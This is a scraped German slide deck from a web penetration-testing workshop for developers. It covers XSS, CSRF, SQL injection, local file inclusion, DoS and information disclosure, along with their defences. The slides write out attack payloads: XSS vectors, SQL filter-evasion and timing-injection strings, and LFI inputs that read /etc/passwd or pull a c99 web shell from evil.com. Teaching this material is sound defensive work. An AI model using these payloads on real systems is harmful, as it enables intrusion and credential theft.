  » Feldzahl und -namen Erkennung mit Union
  » Neutralisierung von Filtern durch Kommentare




                                             44
SQL Injection Pentesting

» Rekonstruktion der Query
  » Wird der Wert direkt verwand oder escaped?
  » Position der Injection durch Tests und Fehler
     » Union-Versuch
     » Klammern-Tests
  » Feldzahl und -namen Erkennung mit Union
  » Neutralisierung von Filtern durch Kommentare
» Erkennung der Datenbank und Version


                                             44
SQL Injection Pentesting

» Rekonstruktion der Query
  » Wird der Wert direkt verwand oder escaped?
  » Position der Injection durch Tests und Fehler
     » Union-Versuch
     » Klammern-Tests
  » Feldzahl und -namen Erkennung mit Union
  » Neutralisierung von Filtern durch Kommentare
» Erkennung der Datenbank und Version
  » SELECT /*!32302 1/0, */1 FROM tablename

                                             44
SQL Injection Pentesting - Blind SQL Injection




                                                 45
SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares
  Ergebnis




                                                 45
SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares
  Ergebnis
» Aber: man kann das Laufzeitverhalten
  ändern, oder Fehler provozieren




                                                 45
SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares
  Ergebnis
» Aber: man kann das Laufzeitverhalten
  ändern, oder Fehler provozieren
» index.jsp?field=name&direction=ASC




                                                 45
SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares
  Ergebnis
» Aber: man kann das Laufzeitverhalten
  ändern, oder Fehler provozieren
» index.jsp?field=name&direction=ASC
» ..direction=,Benchmark(1...0, md5(1)) ASC




                                                 45
SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares
  Ergebnis
» Aber: man kann das Laufzeitverhalten
  ändern, oder Fehler provozieren
» index.jsp?field=name&direction=ASC
» ..direction=,Benchmark(1...0, md5(1)) ASC
» Kann zur Passwortenumeration genutzt
  werden

                                                 45
Information Disclosure Pentesting




                                    46
Information Disclosure Pentesting

» Nach Artifakten suchen




                                    46
Information Disclosure Pentesting

» Nach Artifakten suchen
» Gezielt Fehlermeldungen provozieren




                                        46
Information Disclosure Pentesting

» Nach Artifakten suchen
» Gezielt Fehlermeldungen provozieren
  » Parameter-Manipulation




                                        46
Information Disclosure Pentesting

» Nach Artifakten suchen
» Gezielt Fehlermeldungen provozieren
  » Parameter-Manipulation
  » gezielt Sondernzeichen nutzen




                                        46
Information Disclosure Pentesting

» Nach Artifakten suchen
» Gezielt Fehlermeldungen provozieren
  » Parameter-Manipulation
  » gezielt Sondernzeichen nutzen
     » ‚  %00 %0A %0D %27




                                        46
Information Disclosure Pentesting

» Nach Artifakten suchen
» Gezielt Fehlermeldungen provozieren
  » Parameter-Manipulation
  » gezielt Sondernzeichen nutzen
     » ‚  %00 %0A %0D %27
  » Häufig sind Angaben in den Kommentaren
    versteckt!




                                         46
Information Disclosure Pentesting

» Nach Artifakten suchen
» Gezielt Fehlermeldungen provozieren
  » Parameter-Manipulation
  » gezielt Sondernzeichen nutzen
     » ‚  %00 %0A %0D %27
  » Häufig sind Angaben in den Kommentaren
    versteckt!
» Typische Files: /admin/, /README etc


                                         46
Andere Vektoren




                  47
Andere Vektoren
» XPATH injections




                     47
Andere Vektoren
» XPATH injections
  » Similar to SQL injections using XPATH syntax




                                            47
Andere Vektoren
» XPATH injections
  » Similar to SQL injections using XPATH syntax
» XXE




                                            47
Andere Vektoren
» XPATH injections
  » Similar to SQL injections using XPATH syntax
» XXE
  » XML external Entity Injections




                                            47
Andere Vektoren
» XPATH injections
  » Similar to SQL injections using XPATH syntax
» XXE
  » XML external Entity Injections
  » Upload an XML file including references to
    local files




                                            47
Andere Vektoren
» XPATH injections
   » Similar to SQL injections using XPATH syntax
» XXE
   » XML external Entity Injections
   » Upload an XML file including references to
     local files
» LDAP injections




                                             47
Andere Vektoren
» XPATH injections
   » Similar to SQL injections using XPATH syntax
» XXE
   » XML external Entity Injections
   » Upload an XML file including references to
     local files
» LDAP injections
» Logical Flaws



                                             47
Andere Vektoren
» XPATH injections
   » Similar to SQL injections using XPATH syntax
» XXE
   » XML external Entity Injections
   » Upload an XML file including references to
     local files
» LDAP injections
» Logical Flaws
   » Missing authorization checks

                                             47
Andere Vektoren
» XPATH injections
   » Similar to SQL injections using XPATH syntax
» XXE
   » XML external Entity Injections
   » Upload an XML file including references to
     local files
» LDAP injections
» Logical Flaws
   » Missing authorization checks
   » /user/edit.php?id=1 for admin editing
                                             47
Hands On

» Einfache SQL-Injection
» Blind SQL Injection
» Hackme „OWasp Casino“
  » SQL-Injection
  » Cross Site Request Forgery
  » Logischer Fehler




                                 48
Freiwilliger Penetration Test

» Nur Suche nach XSS-Lücken
» Gerne auch private Seiten




                                49
Fragen?

»




          50
Vielen Dank für Ihre Aufmerksamkeit!




                                       51

Weitere ähnliche Inhalte

Andere mochten auch

Vorstellung mapolis + Werbemoeglichkeiten in mapolis
Vorstellung mapolis + Werbemoeglichkeiten in mapolisVorstellung mapolis + Werbemoeglichkeiten in mapolis
Vorstellung mapolis + Werbemoeglichkeiten in mapolismapolis AG
 
Usability intern oder extern testen (WUD 2010)
Usability intern oder extern testen (WUD 2010)Usability intern oder extern testen (WUD 2010)
Usability intern oder extern testen (WUD 2010)Sandra Griffel
 
Sicherheit am arbeitsplatz1
Sicherheit am arbeitsplatz1Sicherheit am arbeitsplatz1
Sicherheit am arbeitsplatz1Preast
 
Open Geo Data mit freier Software in Österreich
Open Geo Data mit freier Software in ÖsterreichOpen Geo Data mit freier Software in Österreich
Open Geo Data mit freier Software in ÖsterreichStefan Kasberger
 
Lass dichueberraschen ;)
Lass dichueberraschen ;)Lass dichueberraschen ;)
Lass dichueberraschen ;)Scrat2011
 
Gesundheitsinformation.de_Wie_unsere_Informationen_entstehen.pdf
Gesundheitsinformation.de_Wie_unsere_Informationen_entstehen.pdfGesundheitsinformation.de_Wie_unsere_Informationen_entstehen.pdf
Gesundheitsinformation.de_Wie_unsere_Informationen_entstehen.pdfunn | UNITED NEWS NETWORK GmbH
 

Andere mochten auch (10)

Wie bunt ist gesund.pdf
Wie bunt ist gesund.pdfWie bunt ist gesund.pdf
Wie bunt ist gesund.pdf
 
Vorstellung mapolis + Werbemoeglichkeiten in mapolis
Vorstellung mapolis + Werbemoeglichkeiten in mapolisVorstellung mapolis + Werbemoeglichkeiten in mapolis
Vorstellung mapolis + Werbemoeglichkeiten in mapolis
 
2012_BPK_Rede.pdf
2012_BPK_Rede.pdf2012_BPK_Rede.pdf
2012_BPK_Rede.pdf
 
Usability intern oder extern testen (WUD 2010)
Usability intern oder extern testen (WUD 2010)Usability intern oder extern testen (WUD 2010)
Usability intern oder extern testen (WUD 2010)
 
Sicherheit am arbeitsplatz1
Sicherheit am arbeitsplatz1Sicherheit am arbeitsplatz1
Sicherheit am arbeitsplatz1
 
Open Geo Data mit freier Software in Österreich
Open Geo Data mit freier Software in ÖsterreichOpen Geo Data mit freier Software in Österreich
Open Geo Data mit freier Software in Österreich
 
Lass dichueberraschen ;)
Lass dichueberraschen ;)Lass dichueberraschen ;)
Lass dichueberraschen ;)
 
Gesundheitsinformation.de_Wie_unsere_Informationen_entstehen.pdf
Gesundheitsinformation.de_Wie_unsere_Informationen_entstehen.pdfGesundheitsinformation.de_Wie_unsere_Informationen_entstehen.pdf
Gesundheitsinformation.de_Wie_unsere_Informationen_entstehen.pdf
 
nano second
nano secondnano second
nano second
 
KRASS - Mein Buch! Ein Kinderbuch für Macher von Machern.
KRASS - Mein Buch! Ein Kinderbuch für Macher von Machern.KRASS - Mein Buch! Ein Kinderbuch für Macher von Machern.
KRASS - Mein Buch! Ein Kinderbuch für Macher von Machern.
 

Mehr von Johann-Peter Hartmann

E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018Johann-Peter Hartmann
 
Warum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommtWarum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommtJohann-Peter Hartmann
 
Legacy php - Sanieren oder Ablösen?
Legacy php  - Sanieren oder Ablösen?Legacy php  - Sanieren oder Ablösen?
Legacy php - Sanieren oder Ablösen?Johann-Peter Hartmann
 
RoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaRoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaJohann-Peter Hartmann
 
Von Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und SystemadministratorenVon Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und SystemadministratorenJohann-Peter Hartmann
 
Lügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-VerträgeLügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-VerträgeJohann-Peter Hartmann
 
How not to screw the operating system of your startup
How not to screw the operating system of your startupHow not to screw the operating system of your startup
How not to screw the operating system of your startupJohann-Peter Hartmann
 
Einfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektesEinfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektesJohann-Peter Hartmann
 

Mehr von Johann-Peter Hartmann (20)

The End of my Career
The End of my CareerThe End of my Career
The End of my Career
 
E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018
 
DevOps beyond the Tools
DevOps beyond the ToolsDevOps beyond the Tools
DevOps beyond the Tools
 
Warum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommtWarum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommt
 
Legacy php - Sanieren oder Ablösen?
Legacy php  - Sanieren oder Ablösen?Legacy php  - Sanieren oder Ablösen?
Legacy php - Sanieren oder Ablösen?
 
RoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaRoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für China
 
Die Architektur, die man kann
Die Architektur, die man kannDie Architektur, die man kann
Die Architektur, die man kann
 
NewWork in der Praxis
NewWork in der PraxisNewWork in der Praxis
NewWork in der Praxis
 
Von Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und SystemadministratorenVon Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und Systemadministratoren
 
Das Ende der Karriere
Das Ende der KarriereDas Ende der Karriere
Das Ende der Karriere
 
DevOps jenseits der Tools
DevOps jenseits der ToolsDevOps jenseits der Tools
DevOps jenseits der Tools
 
Reparier Deine Unternehmenskultur!
Reparier Deine Unternehmenskultur!Reparier Deine Unternehmenskultur!
Reparier Deine Unternehmenskultur!
 
Lügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-VerträgeLügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-Verträge
 
How not to screw the operating system of your startup
How not to screw the operating system of your startupHow not to screw the operating system of your startup
How not to screw the operating system of your startup
 
Einfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektesEinfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektes
 
Agile versus Management WJAX 2014
Agile versus Management WJAX 2014Agile versus Management WJAX 2014
Agile versus Management WJAX 2014
 
Leadership in der IT
Leadership in der ITLeadership in der IT
Leadership in der IT
 
Vom Entwickler zur Führungskraft
Vom Entwickler zur FührungskraftVom Entwickler zur Führungskraft
Vom Entwickler zur Führungskraft
 
Erfolgreiche rewrites
Erfolgreiche rewritesErfolgreiche rewrites
Erfolgreiche rewrites
 
Surviving Complexity
Surviving ComplexitySurviving Complexity
Surviving Complexity
 

Wsd pentesting workshop

  • 1. Johann-Peter Hartmann & Marco Kaiser Live-Hacking & Penetration Testing
  • 2. Johann-Peter Hartmann » CTO der Mayflower GmbH » Entwickler und Consultant » Gründer SektionEins GmbH » Security ist Steckenpferd seit 1994 2
  • 4. Wer seid Ihr ? » Wieviele von Euch denken security aware zu sein? 3
  • 5. Wer seid Ihr ? » Wieviele von Euch denken security aware zu sein? » Wer kennt XSS? 3
  • 6. Wer seid Ihr ? » Wieviele von Euch denken security aware zu sein? » Wer kennt XSS? » Wer kennt CSRF? 3
  • 7. Wer seid Ihr ? » Wieviele von Euch denken security aware zu sein? » Wer kennt XSS? » Wer kennt CSRF? » Wer kennt SQL Injections? 3
  • 8. Wer seid Ihr ? » Wieviele von Euch denken security aware zu sein? » Wer kennt XSS? » Wer kennt CSRF? » Wer kennt SQL Injections? 3
  • 9. Wer seid Ihr ? » Wieviele von Euch denken security aware zu sein? » Wer kennt XSS? » Wer kennt CSRF? » Wer kennt SQL Injections? » Was erwartet ihr von diesem Workshop? 3
  • 10. Wer seid Ihr ? » Wieviele von Euch denken security aware zu sein? » Wer kennt XSS? » Wer kennt CSRF? » Wer kennt SQL Injections? » Was erwartet ihr von diesem Workshop? 3
  • 11. Wer seid Ihr ? » Wieviele von Euch denken security aware zu sein? » Wer kennt XSS? » Wer kennt CSRF? » Wer kennt SQL Injections? » Was erwartet ihr von diesem Workshop? » Oh, sorry, daran haben wir nicht gedacht. 3
  • 12. Agenda 4
  • 15. Agenda » Grundlagen » Motivation Pentesting » Information Gathering 4
  • 16. Agenda » Grundlagen » Motivation Pentesting » Information Gathering » Pentesting 4
  • 17. Agenda » Grundlagen » Motivation Pentesting » Information Gathering » Pentesting » Hands on 4
  • 19. Grundlagen, Schutzmaßnahmen und Workarounds » XSS, CSRF 5
  • 20. Grundlagen, Schutzmaßnahmen und Workarounds » XSS, CSRF » SQL Injections 5
  • 21. Grundlagen, Schutzmaßnahmen und Workarounds » XSS, CSRF » SQL Injections » Shell Execution 5
  • 22. Grundlagen, Schutzmaßnahmen und Workarounds » XSS, CSRF » SQL Injections » Shell Execution » DoS 5
  • 23. Grundlagen, Schutzmaßnahmen und Workarounds » XSS, CSRF » SQL Injections » Shell Execution » DoS » File Uploads 5
  • 24. Grundlagen, Schutzmaßnahmen und Workarounds » XSS, CSRF » SQL Injections » Shell Execution » DoS » File Uploads » Local File Inclusions 5
  • 25. Grundlagen, Schutzmaßnahmen und Workarounds » XSS, CSRF » SQL Injections » Shell Execution » DoS » File Uploads » Local File Inclusions » Information Disclosure 5
  • 26. Warum noch einmal die Grundlagen? 6
  • 27. Warum noch einmal die Grundlagen? » Pentesting ist » bekannte Lücken finden » fehlende Sicherheitsmaßnahmen entdecken » Fehler in den Sicherheitsmaßnahmen finden 6
  • 28. Warum noch einmal die Grundlagen? » Pentesting ist » bekannte Lücken finden » fehlende Sicherheitsmaßnahmen entdecken » Fehler in den Sicherheitsmaßnahmen finden » Proportional zur Education » bekannte Lücken unwahrscheinlich » fehlende Sicherheitsmaßnahmen selten » Fehler in Sicherheitsmaßnahmen oft 6
  • 29. Warum noch einmal die Grundlagen? » Pentesting ist » bekannte Lücken finden » fehlende Sicherheitsmaßnahmen entdecken » Fehler in den Sicherheitsmaßnahmen finden » Proportional zur Education » bekannte Lücken unwahrscheinlich » fehlende Sicherheitsmaßnahmen selten » Fehler in Sicherheitsmaßnahmen oft » Es geht also um die entdeckbaren Fehler 6
  • 30. XSS - ein bischen Theorie 7
  • 31. XSS - ein bischen Theorie » Typische Methoden zum XSS-Schutz 7
  • 32. XSS - ein bischen Theorie » Typische Methoden zum XSS-Schutz » Tag-Filterung 7
  • 33. XSS - ein bischen Theorie » Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting 7
  • 34. XSS - ein bischen Theorie » Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting » Löschen erkannter XSS 7
  • 35. XSS - ein bischen Theorie » Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting » Löschen erkannter XSS » Validierung 7
  • 36. XSS - ein bischen Theorie » Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting » Löschen erkannter XSS » Validierung » globales Escaping 7
  • 37. XSS - ein bischen Theorie » Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting » Löschen erkannter XSS » Validierung » globales Escaping » Escaping 7
  • 38. XSS - ein bischen Theorie » Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting » Löschen erkannter XSS » Validierung » globales Escaping » Escaping » ... und warum /index.jsp?id=<script> kein XSS-Test ist 7
  • 40. Javascript wird ausgeführt in ... » <script>-Tags 8
  • 41. Javascript wird ausgeführt in ... » <script>-Tags » Urls 8
  • 42. Javascript wird ausgeführt in ... » <script>-Tags » Urls » Event-Handlern 8
  • 43. Javascript wird ausgeführt in ... » <script>-Tags » Urls » Event-Handlern » Style-Sheets 8
  • 44. Javascript wird ausgeführt in ... » <script>-Tags » Urls » Event-Handlern » Style-Sheets » In JavaScript selbst 8
  • 45. Javascript wird ausgeführt in ... » <script>-Tags » Urls » Event-Handlern » Style-Sheets » In JavaScript selbst » in Plugins 8
  • 46. XSS in Urls » <link href=“javascript:... » <img src=“javascript: » <meta http-equiv=“refresh“ content=“0;url=javascript:.. » <table background=“javascript:... » <div style=“a:url(javascript:...)“> » Url-Encoding schützt » Tag-Filterung hilft nicht 9
  • 47. XSS in Scripts » <script> var search=“mystring“;alert(1);//“ » aus dem JS-Stringkontext in den JS- Kontext ausbrechen » var number=1;alert(1); » Stringkontext: korrektes Escaping hilft » Tag-Filterung hilft nicht 10
  • 48. XSS in Tags » <input value=“12“ onmouseover=“alert(1);“> » Attribut-Kontext -> Event-JS-Kontext » <a href=“index.htm“ href=“javascript:... » Attribut-Kontext -> Url-Kontext » <a href=“index.htm“ style=“a:expression(..“ » Attribut-Kontext -> Style-Kontext » Escaping mit HTML-Entitäten hilft » Tag-Filterung schützt nicht 11
  • 49. XSS in Style-Sheets » Als Style-Definition: <style>a: expression(alert(1))</style> » Als Style im Attribut: <a style=“background-color:expression(.. » Ausnutzung des URL-Kontextes: url() » Firefox: Ausnutzung über Behaviors » Escaping hilft bei Strings » Tag-Filterung hilft nicht 12
  • 50. XSS in HTML » <script>alert(1)</script> » Wechsel zu Url: <a href=“javascript:...“> » Wechsel zu Event: <a onmouseover=“...“> » Wechsel zu Style: <a style=“a:expression.. » Tag-Filterung hilft » Escaping in HTML-Entitäten hilft 13
  • 52. Codepage-basierte Kontextwechsel » Jedes Escaping ist abhängig von der Code-Page 14
  • 53. Codepage-basierte Kontextwechsel » Jedes Escaping ist abhängig von der Code-Page » Fehlendes Multibyte-Handling kann Escaping boykottieren Beispiel: %C0“ -> %C0“ 14
  • 54. Codepage-basierte Kontextwechsel » Jedes Escaping ist abhängig von der Code-Page » Fehlendes Multibyte-Handling kann Escaping boykottieren Beispiel: %C0“ -> %C0“ » Die Codepage kann forciert werden UTF-7-Bug in den ersten 1024 Bytes: +ADw-script+AD4-alert(1);+ADw-/script +AD4+ 14
  • 56. Fazit: Probleme bei XSS » Ein Tagfilter helfen nur in 1/4 aller Fälle 15
  • 57. Fazit: Probleme bei XSS » Ein Tagfilter helfen nur in 1/4 aller Fälle » 4 Escaping-Verfahren 15
  • 58. Fazit: Probleme bei XSS » Ein Tagfilter helfen nur in 1/4 aller Fälle » 4 Escaping-Verfahren » HTML-Entititäten 15
  • 59. Fazit: Probleme bei XSS » Ein Tagfilter helfen nur in 1/4 aller Fälle » 4 Escaping-Verfahren » HTML-Entititäten » String-Enkodierung für value=““ 15
  • 60. Fazit: Probleme bei XSS » Ein Tagfilter helfen nur in 1/4 aller Fälle » 4 Escaping-Verfahren » HTML-Entititäten » String-Enkodierung für value=““ » String-Escaping für JS/CSS-Strings 15
  • 61. Fazit: Probleme bei XSS » Ein Tagfilter helfen nur in 1/4 aller Fälle » 4 Escaping-Verfahren » HTML-Entititäten » String-Enkodierung für value=““ » String-Escaping für JS/CSS-Strings » URL-Enkodierung in Links 15
  • 62. Fazit: Probleme bei XSS » Ein Tagfilter helfen nur in 1/4 aller Fälle » 4 Escaping-Verfahren » HTML-Entititäten » String-Enkodierung für value=““ » String-Escaping für JS/CSS-Strings » URL-Enkodierung in Links » Escaping hilft nicht bei Non-String- Injections in Javascript/Event-Kontext 15
  • 64. Probleme bei XSS-Blacklists » Browser nutzen HTML tolerant 16
  • 65. Probleme bei XSS-Blacklists » Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig 16
  • 66. Probleme bei XSS-Blacklists » Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation 16
  • 67. Probleme bei XSS-Blacklists » Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation » Boykottierung des Escapings durch Interpretation 16
  • 68. Probleme bei XSS-Blacklists » Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation » Boykottierung des Escapings durch Interpretation » Es gibt keine finale Liste dieser „Verbesserungen“ 16
  • 69. Probleme bei XSS-Blacklists » Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation » Boykottierung des Escapings durch Interpretation » Es gibt keine finale Liste dieser „Verbesserungen“ » pro Monat wird etwa eine neue gefunden 16
  • 70. Probleme bei XSS-Blacklists » Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation » Boykottierung des Escapings durch Interpretation » Es gibt keine finale Liste dieser „Verbesserungen“ » pro Monat wird etwa eine neue gefunden » Inhalt ist kontextabhängig 16
  • 71. Probleme bei XSS-Blacklists » Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation » Boykottierung des Escapings durch Interpretation » Es gibt keine finale Liste dieser „Verbesserungen“ » pro Monat wird etwa eine neue gefunden » Inhalt ist kontextabhängig » der gleiche String kann je nach Ausgabeort neutral oder vergiftet sein 16
  • 73. Probleme bei XSS-Blacklists 2 » HTML wird extern erweitert 17
  • 74. Probleme bei XSS-Blacklists 2 » HTML wird extern erweitert » Attribute wie dojotype=... 17
  • 75. Probleme bei XSS-Blacklists 2 » HTML wird extern erweitert » Attribute wie dojotype=... » URL-Moniker wie skype: oder tel: 17
  • 76. Probleme bei XSS-Blacklists 2 » HTML wird extern erweitert » Attribute wie dojotype=... » URL-Moniker wie skype: oder tel: » Browser-Plugins wie Greasemonkey 17
  • 77. Probleme bei XSS-Blacklists 2 » HTML wird extern erweitert » Attribute wie dojotype=... » URL-Moniker wie skype: oder tel: » Browser-Plugins wie Greasemonkey » JavaScript-Includes für Adserver 17
  • 78. Probleme bei XSS-Blacklists 2 » HTML wird extern erweitert » Attribute wie dojotype=... » URL-Moniker wie skype: oder tel: » Browser-Plugins wie Greasemonkey » JavaScript-Includes für Adserver » Blacklists sind immer unvollständig 17
  • 79. Fehlerhafte XSS-Filter » String-Operationen als Filter » <script>-Tags werden automatisch entfernt » Was ist mit <scr<script>ipt> ? » XSS Cheat Sheet » http://ha.ckers.org/xss.html 18
  • 83. Externe XSS-Vektoren » RSS » Web-Services » CSV 19
  • 84. Externe XSS-Vektoren » RSS » Web-Services » CSV » Meta-Daten von Medienfiles 19
  • 85. Externe XSS-Vektoren » RSS » Web-Services » CSV » Meta-Daten von Medienfiles » Papier 19
  • 86. Externe XSS-Vektoren » RSS » Web-Services » CSV » Meta-Daten von Medienfiles » Papier » Logfiles 19
  • 87. Externe XSS-Vektoren » RSS » Web-Services » CSV » Meta-Daten von Medienfiles » Papier » Logfiles » Poisoning beim Spidern 19
  • 88. Cross Site Request Forgery 20
  • 89. Cross Site Request Forgery » Ist wirklich kritisch: wurde vor kurzem für Erpressung über Domain-Transfer genutzt » Häufigster Schutz: Token-basiert » Ist mit einem XSS zu boykottieren » -> bei vorhandener CSRF-Protection nach XSS suchen 20
  • 90. Schutzmaßnahmen bei SQL-Injection » Parameter Binding » Parameter Escaping » Blacklisting 21
  • 92. Angriffe auf Parameter Binding » Namen aus externen Quellen 22
  • 93. Angriffe auf Parameter Binding » Namen aus externen Quellen » Datenbanken 22
  • 94. Angriffe auf Parameter Binding » Namen aus externen Quellen » Datenbanken » Tabellen 22
  • 95. Angriffe auf Parameter Binding » Namen aus externen Quellen » Datenbanken » Tabellen » Spalten 22
  • 96. Angriffe auf Parameter Binding » Namen aus externen Quellen » Datenbanken » Tabellen » Spalten » SQL-Syntax 22
  • 97. Angriffe auf Parameter Binding » Namen aus externen Quellen » Datenbanken » Tabellen » Spalten » SQL-Syntax » Sortierrichtungen 22
  • 98. Angriffe auf Parameter Binding » Namen aus externen Quellen » Datenbanken » Tabellen » Spalten » SQL-Syntax » Sortierrichtungen » Operationen 22
  • 101. Parameter Escaping » Multi-Byte-Attacken » analog zu Escaping-Multibyte-Attacken 23
  • 102. Parameter Escaping » Multi-Byte-Attacken » analog zu Escaping-Multibyte-Attacken » alte Datenbank-Versionen 23
  • 103. Parameter Escaping » Multi-Byte-Attacken » analog zu Escaping-Multibyte-Attacken » alte Datenbank-Versionen » seltsame Codepages 23
  • 104. Parameter Escaping » Multi-Byte-Attacken » analog zu Escaping-Multibyte-Attacken » alte Datenbank-Versionen » seltsame Codepages » Fehlendes Escaping von Bezeichnern 23
  • 105. Parameter Escaping » Multi-Byte-Attacken » analog zu Escaping-Multibyte-Attacken » alte Datenbank-Versionen » seltsame Codepages » Fehlendes Escaping von Bezeichnern » Fehlendes Whitelisting von SQL-Syntax 23
  • 107. SQL Blacklisting Evasions » SQL Comment Filter Evasions 24
  • 108. SQL Blacklisting Evasions » SQL Comment Filter Evasions » mehrzeilige Comments: /* */ 24
  • 109. SQL Blacklisting Evasions » SQL Comment Filter Evasions » mehrzeilige Comments: /* */ » einzeilige Comments: -- ,# 24
  • 110. SQL Blacklisting Evasions » SQL Comment Filter Evasions » mehrzeilige Comments: /* */ » einzeilige Comments: -- ,# » können innerhalb von Statements genutzt werden: u/**/nion 24
  • 111. SQL Blacklisting Evasions » SQL Comment Filter Evasions » mehrzeilige Comments: /* */ » einzeilige Comments: -- ,# » können innerhalb von Statements genutzt werden: u/**/nion » Umgehen von Escaping mit Funktionen 24
  • 112. SQL Blacklisting Evasions » SQL Comment Filter Evasions » mehrzeilige Comments: /* */ » einzeilige Comments: -- ,# » können innerhalb von Statements genutzt werden: u/**/nion » Umgehen von Escaping mit Funktionen » char(65) an Stelle von ‘a‘ 24
  • 113. Code / OS Level Executions 25
  • 114. Code / OS Level Executions » Shell Kommando Escaping » Standardlösung: Escape von “#&;}{|*?`<>^()[] » Umgehen mit Multibyte-Attacken » Beispiel: PHP und GBK » UTF-8: (von Shell abhängig, to be done) 25
  • 116. Denial of Service » Schutzmaßnahmen 26
  • 117. Denial of Service » Schutzmaßnahmen » Infrastruktur / Provider 26
  • 118. Denial of Service » Schutzmaßnahmen » Infrastruktur / Provider » Webserver 26
  • 119. Denial of Service » Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS 26
  • 120. Denial of Service » Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS » Throttling, mod_bandwidth 26
  • 121. Denial of Service » Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS » Throttling, mod_bandwidth » Applikationsbasiert 26
  • 122. Denial of Service » Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS » Throttling, mod_bandwidth » Applikationsbasiert » z.B. Auto-Logout oder IP-Ban 26
  • 123. Denial of Service » Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS » Throttling, mod_bandwidth » Applikationsbasiert » z.B. Auto-Logout oder IP-Ban » Evasion über teure Operationen 26
  • 124. Denial of Service » Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS » Throttling, mod_bandwidth » Applikationsbasiert » z.B. Auto-Logout oder IP-Ban » Evasion über teure Operationen » z.B. Registration, FriendOfAFriend, Suchen mit Rechteprüfung 26
  • 126. File Uploads » Gefahr von XSS, Code Executions, Content Manipulation 27
  • 127. File Uploads » Gefahr von XSS, Code Executions, Content Manipulation » Abwehr: Virtualisierung der Ablage, Virenchecks 27
  • 128. File Uploads » Gefahr von XSS, Code Executions, Content Manipulation » Abwehr: Virtualisierung der Ablage, Virenchecks » Umgehung » Flash-Security: einschmuggeln einer crossdomain.xml-Alternative » Zip Bombs » Microsofts Filetyperkennung 27
  • 129. Local File Inclusions » include “const“.$_GET[‘bla‘].“const“; » ?bla=/../../etc/passwd%00 » ?bla=/../../var/log/apache/access_log » ?bla=/../../var/log/vsftp.log%00 » include $_GET[‘bla‘] . “const“; » ?bla=data://text/plain;base64,P... » ?bla=php://filter/resource=http://evil.com/ c99.txt 28
  • 130. Information Disclosure » Geschützt durch korrekte (Fehler-)Ausgaben » Umgehung » Timing-Attacken (Login: Username existent?) » Artifakte » Content-Disclosure Fehler 29
  • 131. Motivation Pentesting für Entwickler 30
  • 132. Motivation Pentesting für Entwickler » Know your enemy 30
  • 133. Motivation Pentesting für Entwickler » Know your enemy » Der Entwickler ist der Hebel für Security 30
  • 134. Motivation Pentesting für Entwickler » Know your enemy » Der Entwickler ist der Hebel für Security » Risikoanalyse 30
  • 135. Motivation Pentesting für Entwickler » Know your enemy » Der Entwickler ist der Hebel für Security » Risikoanalyse » offensichtliche Probleme werden gefunden 30
  • 136. Motivation Pentesting für Entwickler » Know your enemy » Der Entwickler ist der Hebel für Security » Risikoanalyse » offensichtliche Probleme werden gefunden » „Oberkante“ des Eigenrisikos wird gefunden 30
  • 137. Motivation Pentesting für Entwickler » Know your enemy » Der Entwickler ist der Hebel für Security » Risikoanalyse » offensichtliche Probleme werden gefunden » „Oberkante“ des Eigenrisikos wird gefunden » Security Awareness 30
